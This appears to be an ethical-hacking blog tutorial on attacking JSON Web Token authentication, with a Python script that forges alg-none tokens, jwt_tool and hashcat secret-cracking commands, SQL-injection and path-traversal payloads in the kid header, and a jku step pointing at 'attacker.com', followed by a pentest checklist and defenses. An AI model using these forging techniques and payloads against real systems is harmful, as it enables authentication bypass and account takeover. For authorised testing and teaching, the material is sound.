Ethical Hacking #jwt#web-security#authentication

JWT Attack Techniques and Exploitation Guide

Learn how JSON Web Token attacks work — algorithm confusion, none algorithm, weak secrets, and kid injection — with real exploitation examples.

7 min read

JSON Web Tokens (JWTs) are the backbone of authentication in modern web applications and APIs. They encode user claims — identity, roles, permissions — in a signed, base64-encoded format that servers trust without querying a database. When implemented correctly, JWTs are secure. When implemented poorly, they become one of the most exploitable authentication mechanisms in existence.

This guide covers the structure of JWTs, the most common attack classes, and how to exploit them in a penetration testing context.

JWT Structure

A JWT consists of three base64url-encoded parts separated by dots:

header.payload.signature

Example JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Decoded:

Header:

{
  "alg": "HS256",
  "typ": "JWT"
}

Payload:

{
  "sub": "1234567890",
  "name": "John Doe",
  "role": "user",
  "iat": 1516239022
}

Signature: HMAC-SHA256 of the header and payload using the server’s secret key.

Tools for JWT Testing

  • jwt.io — browser-based JWT decoder and debugger
  • jwt_tool — Python CLI for JWT attacks: pip3 install jwt_tool
  • Burp Suite JWT Editor extension — integrate JWT attacks into your proxy workflow
  • CyberChef — decode and manipulate JWTs without tools

Install jwt_tool:

git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
pip3 install -r requirements.txt

Attack 1: The alg: none Vulnerability

Some JWT libraries accept none as a valid algorithm, meaning no signature is required. An attacker can modify the payload and remove the signature entirely.

Exploit:

  1. Decode the JWT (split on ., base64url-decode each part)
  2. Modify the header to set "alg": "none"
  3. Modify the payload (e.g., change "role": "user" to "role": "admin")
  4. Re-encode both parts and append an empty signature
import base64, json

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1234", "name": "John Doe", "role": "admin", "iat": 1516239022}

def b64url_encode(data):
    return base64.urlsafe_b64encode(json.dumps(data, separators=(',',':')).encode()).rstrip(b'=').decode()

token = f"{b64url_encode(header)}.{b64url_encode(payload)}."
print(token)

With jwt_tool:

python3 jwt_tool.py <token> -X a

Attack 2: Algorithm Confusion (RS256 → HS256)

This attack targets applications that support both asymmetric (RS256) and symmetric (HS256) algorithms. The attacker tricks the server into verifying an RS256 token using the server’s public key as an HMAC secret.

How it works:

  1. The server uses RS256 with a private key to sign JWTs
  2. The public key is accessible (often at /.well-known/jwks.json)
  3. The attacker crafts a new token with "alg": "HS256" and signs it using the public key as the HMAC secret
  4. The server sees alg: HS256, uses the public key (which it knows!) to verify — and the signature matches

Exploit with jwt_tool:

# Fetch the public key
curl https://target.com/.well-known/jwks.json

# Convert JWK to PEM
python3 jwt_tool.py <token> -X k -pk public_key.pem

# Or use the confusion attack directly
python3 jwt_tool.py <token> -X k -pk public_key.pem -T

Attack 3: Weak Secret Brute-Forcing

HS256-signed JWTs can be cracked offline if the secret is weak. Hashcat and jwt_tool both support this.

With Hashcat:

# JWT mode
hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt

The full JWT (all three parts) goes in the hash file.

With jwt_tool:

python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt

Once cracked, sign your modified payload with the discovered secret:

python3 jwt_tool.py <token> -T -S hs256 -p "discovered_secret"

Attack 4: kid Header Injection

The kid (Key ID) header tells the server which key to use for verification. If the server uses the kid value in a database query or file path lookup, it may be vulnerable to injection.

SQL Injection via kid

If the kid is used in a query like SELECT key FROM keys WHERE kid = '<kid_value>', inject:

{
  "alg": "HS256",
  "kid": "' UNION SELECT 'mysecret' -- -",
  "typ": "JWT"
}

Then sign the token with mysecret as the HMAC key.

Path Traversal via kid

If kid is used as a file path to load the key:

{
  "alg": "HS256",
  "kid": "../../dev/null",
  "typ": "JWT"
}

Sign the token with an empty string as the secret (the content of /dev/null).

Attack 5: jku and x5u Header Injection

The jku (JWK Set URL) header points to a URL where the server fetches the public key. If not validated, an attacker can point this to a controlled server:

  1. Generate an RSA key pair
  2. Host the public key as a JWKS endpoint on your server
  3. Craft a JWT with "jku": "https://attacker.com/jwks.json"
  4. Sign the token with your private key
  5. The server fetches your JWKS and verifies against your public key — success

With jwt_tool:

python3 jwt_tool.py <token> -X s
# Starts an embedded JWKS server and injects the jku header

Attack 6: Claim Manipulation (No Verification Bug)

Some applications simply decode the JWT without verifying the signature — they trust whatever the token contains. Test this by:

  1. Decoding the JWT
  2. Modifying claims (e.g., "admin": false"admin": true, "role": "user""role": "admin")
  3. Re-encoding with any signature (or no signature)
  4. Submitting the modified token

If the application accepts it, there is no signature verification.

Testing JWTs in Burp Suite

The JWT Editor Burp extension (available in the BApp store) integrates JWT testing directly into the proxy:

  1. Intercept a request with a JWT
  2. Go to the JSON Web Token tab in the message editor
  3. Modify claims directly
  4. Use the Attack menu for automated none algorithm and algorithm confusion testing

Checklist for JWT Pentesting

TestToolWhat to Look For
alg: nonejwt_tool -X aAccepts unsigned tokens
Algorithm confusionjwt_tool -X kRS256 signed with public key
Weak secretHashcat mode 16500Secret in wordlist
kid injectionManualSQL/path traversal
jku injectionjwt_tool -X sFetches external JWK
No verificationManualModified claims accepted

Defenses

  • Always verify signatures server-side before trusting any claim
  • Pin the algorithm in code — never accept none; only accept the algorithm your application uses
  • Validate jku/x5u against an allowlist of trusted URLs
  • Sanitize kid values — treat them like user input, not trusted identifiers
  • Use strong secrets for HS256 — minimum 256-bit random secrets
  • Prefer RS256 or ES256 over HS256 for better key management
  • Set short expiration times (exp claim) to limit token validity

Summary

JWTs are a powerful authentication mechanism that become dangerous when developers trust the token’s own headers to determine how to verify it. The alg: none, algorithm confusion, and kid injection attacks all exploit this fundamental design flaw. Test every JWT-based application for these vulnerabilities and verify that signature validation is rigidly enforced regardless of what the token header claims.

#pentesting #api-security #authentication #web-security #jwt